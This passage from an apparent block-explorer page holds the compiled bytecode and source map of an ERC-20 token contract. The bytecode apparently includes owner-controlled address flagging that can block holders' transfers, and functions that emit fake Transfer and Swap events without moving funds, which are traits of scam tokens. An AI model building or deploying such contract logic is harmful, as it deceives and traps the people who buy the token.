fffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110099190611744565b60405180910390a3505050565b61101e610e43565b73ffffffffffffffffffffffffffffffffffffffff1661103c610998565b73ffffffffffffffffffffffffffffffffffffffff1614611092576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108990611e67565b60405180910390fd5b565b60006110a08484610d38565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461111a578181101561110c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110390611ed3565b60405180910390fd5b6111198484848403610e4b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790611f65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790611ff7565b60405180910390fd5b61120b83838361155c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128990612089565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113c65750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114225760011515600560009054906101000a900460ff16151514611421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611418906120cf565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161147f9190611744565b60405180910390a3611492848484611561565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115a0578082015181840152602081019050611585565b838111156115af576000848401525b50505050565b6000601f19601f8301169050919050565b60006115d182611566565b6115db8185611571565b93506115eb818560208601611582565b6115f4816115b5565b840191505092915050565b6000602082019050818103600083015261161981846115c6565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116568261162b565b9050919050565b6116668161164b565b811461167157600080fd5b50565b6000813590506116838161165d565b92915050565b6000819050919050565b61169c81611689565b81146116a757600080fd5b50565b6000813590506116b981611693565b92915050565b600080604083850312156116d6576116d5611621565b5b60006116e485828601611674565b92505060206116f5858286016116aa565b9150509250929050565b60008115159050919050565b611714816116ff565b82525050565b600060208201905061172f600083018461170b565b92915050565b61173e81611689565b82525050565b60006020820190506117596000830184611735565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126117845761178361175f565b5b8235905067ffffffffffffffff8111156117a1576117a0611764565b5b6020830191508360208202830111156117bd576117bc611769565b5b9250929050565b600080602083850312156117db576117da611621565b5b600083013567ffffffffffffffff8111156117f9576117f8611626565b5b6118058582860161176e565b92509250509250929050565b60008060006060848603121561182a57611829611621565b5b600061183886828701611674565b935050602061184986828701611674565b925050604061185a868287016116aa565b9150509250925092565b600060ff82169050919050565b61187a81611864565b82525050565b60006020820190506118956000830184611871565b92915050565b6000602082840312156118b1576118b0611621565b5b60006118bf84828501611674565b91505092915050565b600080600080606085870312156118e2576118e1611621565b5b600085013567ffffffffffffffff811115611900576118ff611626565b5b61190c8782880161176e565b9450945050602061191f878288016116aa565b9250506040611930878288016116aa565b91505092959194509250565b6119458161164b565b82525050565b6000602082019050611960600083018461193c565b92915050565b6000806040838503121561197d5761197c611621565b5b600061198b85828601611674565b925050602061199c85828601611674565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119ed57607f821691505b60208210811415611a0157611a006119a6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a7082611689565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611aa357611aa2611a36565b5b600182019050919050565b6000611ab982611689565b9150611ac483611689565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611af957611af8611a36565b5b828201905092915050565b6000819050919050565b6000819050919050565b6000611b33611b2e611b2984611b04565b611b0e565b611689565b9050919050565b611b4381611b18565b82525050565b6000608082019050611b5e6000830187611b3a565b611b6b6020830186611735565b611b786040830185611735565b611b856060830184611b3a565b95945050505050565b6000608082019050611ba36000830187611735565b611bb06020830186611b3a565b611bbd6040830185611b3a565b611bca6060830184611735565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611c2f602583611571565b9150611c3a82611bd3565b604082019050919050565b60006020820190508181036000830152611c5e81611c22565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cc1602683611571565b9150611ccc82611c65565b604082019050919050565b60006020820190508181036000830152611cf081611cb4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d53602483611571565b9150611d5e82611cf7565b604082019050919050565b60006020820190508181036000830152611d8281611d46565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611de5602283611571565b9150611df082611d89565b604082019050919050565b60006020820190508181036000830152611e1481611dd8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e51602083611571565b9150611e5c82611e1b565b602082019050919050565b60006020820190508181036000830152611e8081611e44565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ebd601d83611571565b9150611ec882611e87565b602082019050919050565b60006020820190508181036000830152611eec81611eb0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f4f602583611571565b9150611f5a82611ef3565b604082019050919050565b60006020820190508181036000830152611f7e81611f42565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe1602383611571565b9150611fec82611f85565b604082019050919050565b6000602082019050818103600083015261201081611fd4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612073602683611571565b915061207e82612017565b604082019050919050565b600060208201905081810360008301526120a281612066565b9050919050565b50565b60006120b9600083611571565b91506120c4826120a9565b600082019050919050565b600060208201905081810360008301526120e8816120ac565b905091905056fea2646970667358221220dc70a67c59d9579ee4ed2abd3e9fc86a6c09aaa285c70e3a9f4e2468ae85be3a64736f6c634300080c0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101375760003560e01c8063715018a6116100b8578063a1c617f51161007c578063a1c617f51461033c578063a457c2d714610358578063a9059cbb14610388578063beabacc8146103b8578063dd62ed3e146103d4578063f2fde38b1461040457610137565b8063715018a6146102aa5780637aac697b146102b45780638da5cb5b146102d057806390135fe4146102ee57806395d89b411461031e57610137565b8063313ce567116100ff578063313ce567146101f45780633950935114610212578063477e19441461024257806366d382031461025e57806370a082311461027a57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a5780631943943a146101a857806323b872dd146101c4575b600080fd5b610144610420565b60405161015191906115ff565b60405180910390f35b610174600480360381019061016f91906116bf565b6104b2565b604051610181919061171a565b60405180910390f35b6101926104d5565b60405161019f9190611744565b60405180910390f35b6101c260048036038101906101bd91906117c4565b6104df565b005b6101de60048036038101906101d99190611811565b610647565b6040516101eb919061171a565b60405180910390f35b6101fc610676565b6040516102099190611880565b60405180910390f35b61022c600480360381019061022791906116bf565b61067f565b604051610239919061171a565b60405180910390f35b61025c600480360381019061025791906117c4565b6106b6565b005b6102786004803603810190610273919061189b565b610763565b005b610294600480360381019061028f919061189b565b6107af565b6040516102a19190611744565b60405180910390f35b6102b26107f8565b005b6102ce60048036038101906102c991906118c8565b61080c565b005b6102d8610998565b6040516102e5919061194b565b60405180910390f35b6103086004803603810190610303919061189b565b6109c1565b604051610315919061171a565b60405180910390f35b610326610a17565b60405161033391906115ff565b60405180910390f35b610356600480360381019061035191906118c8565b610aa9565b005b610372600480360381019061036d91906116bf565b610c34565b60405161037f919061171a565b60405180910390f35b6103a2600480360381019061039d91906116bf565b610cab565b6040516103af919061171a565b60405180910390f35b6103d260048036038101906103cd9190611811565b610cce565b005b6103ee60048036038101906103e99190611966565b610d38565b6040516103fb9190611744565b60405180910390f35b61041e6004803603810190610419919061189b565b610dbf565b005b60606006805461042f906119d5565b80601f016020809104026020016040519081016040528092919081815260200182805461045b906119d5565b80156104a85780601f1061047d576101008083540402835291602001916104a8565b820191906000526020600020905b81548152906001019060200180831161048b57829003601f168201915b5050505050905090565b6000806104bd610e43565b90506104ca818585610e4b565b600191505092915050565b6000600454905090565b6104e7611016565b60005b828290508110156106425760016002600085858581811061050e5761050d611a07565b5b9050602002016020810190610523919061189b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1683838381811061059e5761059d611a07565b5b90506020020160208101906105b3919061189b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561061a868686818110610600576105ff611a07565b5b9050602002016020810190610615919061189b565b6107af565b6040516106279190611744565b60405180910390a3808061063a90611a65565b9150506104ea565b505050565b600080610652610e43565b905061065f858285611094565b61066a858585611120565b60019150509392505050565b60006012905090565b60008061068a610e43565b90506106ab81858561069c8589610d38565b6106a69190611aae565b610e4b565b600191505092915050565b6106be611016565b60005b8282905081101561075e576000600260008585858181106106e5576106e4611a07565b5b90506020020160208101906106fa919061189b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061075690611a65565b9150506106c1565b505050565b61076b611016565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610800611016565b61080a6000611498565b565b60005b848490508110156109915784848281811061082d5761082c611a07565b5b9050602002016020810190610842919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8226000868660006040516108c89493929190611b49565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061091c5761091b611a07565b5b9050602002016020810190610931919061189b565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516109769190611744565b60405180910390a3808061098990611a65565b91505061080f565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060078054610a26906119d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610a52906119d5565b8015610a9f5780601f10610a7457610100808354040283529160200191610a9f565b820191906000526020600020905b815481529060010190602001808311610a8257829003601f168201915b5050505050905090565b60005b84849050811015610c2d57848482818110610aca57610ac9611a07565b5b9050602002016020810190610adf919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610b649493929190611b8e565b60405180910390a3848482818110610b7f57610b7e611a07565b5b9050602002016020810190610b94919061189b565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c129190611744565b60405180910390a38080610c2590611a65565b915050610aac565b5050505050565b600080610c3f610e43565b90506000610c4d8286610d38565b905083811015610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990611c45565b60405180910390fd5b610c9f8286868403610e4b565b60019250505092915050565b600080610cb6610e43565b9050610cc3818585611120565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d2b9190611744565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc7611016565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611cd7565b60405180910390fd5b610e4081611498565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ebb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb290611d69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2290611dfb565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110099190611744565b60405180910390a3505050565b61101e610e43565b73ffffffffffffffffffffffffffffffffffffffff1661103c610998565b73ffffffffffffffffffffffffffffffffffffffff1614611092576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108990611e67565b60405180910390fd5b565b60006110a08484610d38565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461111a578181101561110c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110390611ed3565b60405180910390fd5b6111198484848403610e4b565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790611f65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790611ff7565b60405180910390fd5b61120b83838361155c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611292576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128990612089565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113c65750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156114225760011515600560009054906101000a900460ff16151514611421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611418906120cf565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161147f9190611744565b60405180910390a3611492848484611561565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156115a0578082015181840152602081019050611585565b838111156115af576000848401525b50505050565b6000601f19601f8301169050919050565b60006115d182611566565b6115db8185611571565b93506115eb818560208601611582565b6115f4816115b5565b840191505092915050565b6000602082019050818103600083015261161981846115c6565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116568261162b565b9050919050565b6116668161164b565b811461167157600080fd5b50565b6000813590506116838161165d565b92915050565b6000819050919050565b61169c81611689565b81146116a757600080fd5b50565b6000813590506116b981611693565b92915050565b600080604083850312156116d6576116d5611621565b5b60006116e485828601611674565b92505060206116f5858286016116aa565b9150509250929050565b60008115159050919050565b611714816116ff565b82525050565b600060208201905061172f600083018461170b565b92915050565b61173e81611689565b82525050565b60006020820190506117596000830184611735565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126117845761178361175f565b5b8235905067ffffffffffffffff8111156117a1576117a0611764565b5b6020830191508360208202830111156117bd576117bc611769565b5b9250929050565b600080602083850312156117db576117da611621565b5b600083013567ffffffffffffffff8111156117f9576117f8611626565b5b6118058582860161176e565b92509250509250929050565b60008060006060848603121561182a57611829611621565b5b600061183886828701611674565b935050602061184986828701611674565b925050604061185a868287016116aa565b9150509250925092565b600060ff82169050919050565b61187a81611864565b82525050565b60006020820190506118956000830184611871565b92915050565b6000602082840312156118b1576118b0611621565b5b60006118bf84828501611674565b91505092915050565b600080600080606085870312156118e2576118e1611621565b5b600085013567ffffffffffffffff811115611900576118ff611626565b5b61190c8782880161176e565b9450945050602061191f878288016116aa565b9250506040611930878288016116aa565b91505092959194509250565b6119458161164b565b82525050565b6000602082019050611960600083018461193c565b92915050565b6000806040838503121561197d5761197c611621565b5b600061198b85828601611674565b925050602061199c85828601611674565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119ed57607f821691505b60208210811415611a0157611a006119a6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a7082611689565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611aa357611aa2611a36565b5b600182019050919050565b6000611ab982611689565b9150611ac483611689565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611af957611af8611a36565b5b828201905092915050565b6000819050919050565b6000819050919050565b6000611b33611b2e611b2984611b04565b611b0e565b611689565b9050919050565b611b4381611b18565b82525050565b6000608082019050611b5e6000830187611b3a565b611b6b6020830186611735565b611b786040830185611735565b611b856060830184611b3a565b95945050505050565b6000608082019050611ba36000830187611735565b611bb06020830186611b3a565b611bbd6040830185611b3a565b611bca6060830184611735565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611c2f602583611571565b9150611c3a82611bd3565b604082019050919050565b60006020820190508181036000830152611c5e81611c22565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cc1602683611571565b9150611ccc82611c65565b604082019050919050565b60006020820190508181036000830152611cf081611cb4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d53602483611571565b9150611d5e82611cf7565b604082019050919050565b60006020820190508181036000830152611d8281611d46565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611de5602283611571565b9150611df082611d89565b604082019050919050565b60006020820190508181036000830152611e1481611dd8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e51602083611571565b9150611e5c82611e1b565b602082019050919050565b60006020820190508181036000830152611e8081611e44565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611ebd601d83611571565b9150611ec882611e87565b602082019050919050565b60006020820190508181036000830152611eec81611eb0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f4f602583611571565b9150611f5a82611ef3565b604082019050919050565b60006020820190508181036000830152611f7e81611f42565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe1602383611571565b9150611fec82611f85565b604082019050919050565b6000602082019050818103600083015261201081611fd4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612073602683611571565b915061207e82612017565b604082019050919050565b600060208201905081810360008301526120a281612066565b9050919050565b50565b60006120b9600083611571565b91506120c4826120a9565b600082019050919050565b600060208201905081810360008301526120e8816120ac565b905091905056fea2646970667358221220dc70a67c59d9579ee4ed2abd3e9fc86a6c09aaa285c70e3a9f4e2468ae85be3a64736f6c634300080c0033
Deployed Bytecode Sourcemap
21869:140:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9229:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12940:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11709:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10292:287;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13721:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10191:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14425:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11313:206;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9074:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11880:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6062:103;;;:::i;:::-;;10886:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11527:117;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9448:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10587:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15166:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12213:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11186:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12469:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6320:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9229:100;9283:13;9316:5;9309:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9229:100;:::o;12940:201::-;13023:4;13040:13;13056:12;:10;:12::i;:::-;13040:28;;13079:32;13088:5;13095:7;13104:6;13079:8;:32::i;:::-;13129:4;13122:11;;;12940:201;;;;:::o;11709:108::-;11770:7;11797:12;;11790:19;;11709:108;:::o;10292:287::-;5307:13;:11;:13::i;:::-;10383:9:::1;10378:194;10402:11;;:18;;10398:1;:22;10378:194;;;10470:4;10442:9;:25;10452:11;;10464:1;10452:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10442:25;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;10527:4;10494:66;;10503:11;;10515:1;10503:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10494:66;;;10534:25;10544:11;;10556:1;10544:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10534:9;:25::i;:::-;10494:66;;;;;;:::i;:::-;;;;;;;;10422:3;;;;;:::i;:::-;;;;10378:194;;;;10292:287:::0;;:::o;13721:295::-;13852:4;13869:15;13887:12;:10;:12::i;:::-;13869:30;;13910:38;13926:4;13932:7;13941:6;13910:15;:38::i;:::-;13959:27;13969:4;13975:2;13979:6;13959:9;:27::i;:::-;14004:4;13997:11;;;13721:295;;;;;:::o;10191:93::-;10249:5;10274:2;10267:9;;10191:93;:::o;14425:238::-;14513:4;14530:13;14546:12;:10;:12::i;:::-;14530:28;;14569:64;14578:5;14585:7;14622:10;14594:25;14604:5;14611:7;14594:9;:25::i;:::-;:38;;;;:::i;:::-;14569:8;:64::i;:::-;14651:4;14644:11;;;14425:238;;;;:::o;11313:206::-;5307:13;:11;:13::i;:::-;11408:9:::1;11403:109;11427:11;;:18;;11423:1;:22;11403:109;;;11495:5;11467:9;:25;11477:11;;11489:1;11477:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11467:25;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;11447:3;;;;;:::i;:::-;;;;11403:109;;;;11313:206:::0;;:::o;9074:85::-;5307:13;:11;:13::i;:::-;9144:7:::1;9136:5;;:15;;;;;;;;;;;;;;;;;;9074:85:::0;:::o;11880:127::-;11954:7;11981:9;:18;11991:7;11981:18;;;;;;;;;;;;;;;;11974:25;;11880:127;;;:::o;6062:103::-;5307:13;:11;:13::i;:::-;6127:30:::1;6154:1;6127:18;:30::i;:::-;6062:103::o:0;10886:292::-;10990:9;10985:186;11009:11;;:18;;11005:1;:22;10985:186;;;11088:11;;11100:1;11088:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11054:49;;11059:10;;;;;;;;;;;11054:49;;;11071:1;11074:3;11079:4;11085:1;11054:49;;;;;;;;;:::i;:::-;;;;;;;;11148:5;;;;;;;;;;;11123:36;;11132:11;;11144:1;11132:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11123:36;;;11155:3;11123:36;;;;;;:::i;:::-;;;;;;;;11029:3;;;;;:::i;:::-;;;;10985:186;;;;10886:292;;;;:::o;5421:87::-;5467:7;5494:6;;;;;;;;;;;5487:13;;5421:87;:::o;11527:117::-;11592:4;11616:9;:20;11626:9;11616:20;;;;;;;;;;;;;;;;;;;;;;;;;11609:27;;11527:117;;;:::o;9448:104::-;9504:13;9537:7;9530:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9448:104;:::o;10587:291::-;10689:9;10684:187;10708:11;;:18;;10704:1;:22;10684:187;;;10787:11;;10799:1;10787:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10753:49;;10758:10;;;;;;;;;;;10753:49;;;10770:3;10775:1;10778;10781:4;10753:49;;;;;;;;;:::i;:::-;;;;;;;;10838:11;;10850:1;10838:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10822:37;;10831:5;;;;;;;;;;;10822:37;;;10854:4;10822:37;;;;;;:::i;:::-;;;;;;;;10728:3;;;;;:::i;:::-;;;;10684:187;;;;10587:291;;;;:::o;15166:436::-;15259:4;15276:13;15292:12;:10;:12::i;:::-;15276:28;;15315:24;15342:25;15352:5;15359:7;15342:9;:25::i;:::-;15315:52;;15406:15;15386:16;:35;;15378:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;15499:60;15508:5;15515:7;15543:15;15524:16;:34;15499:8;:60::i;:::-;15590:4;15583:11;;;;1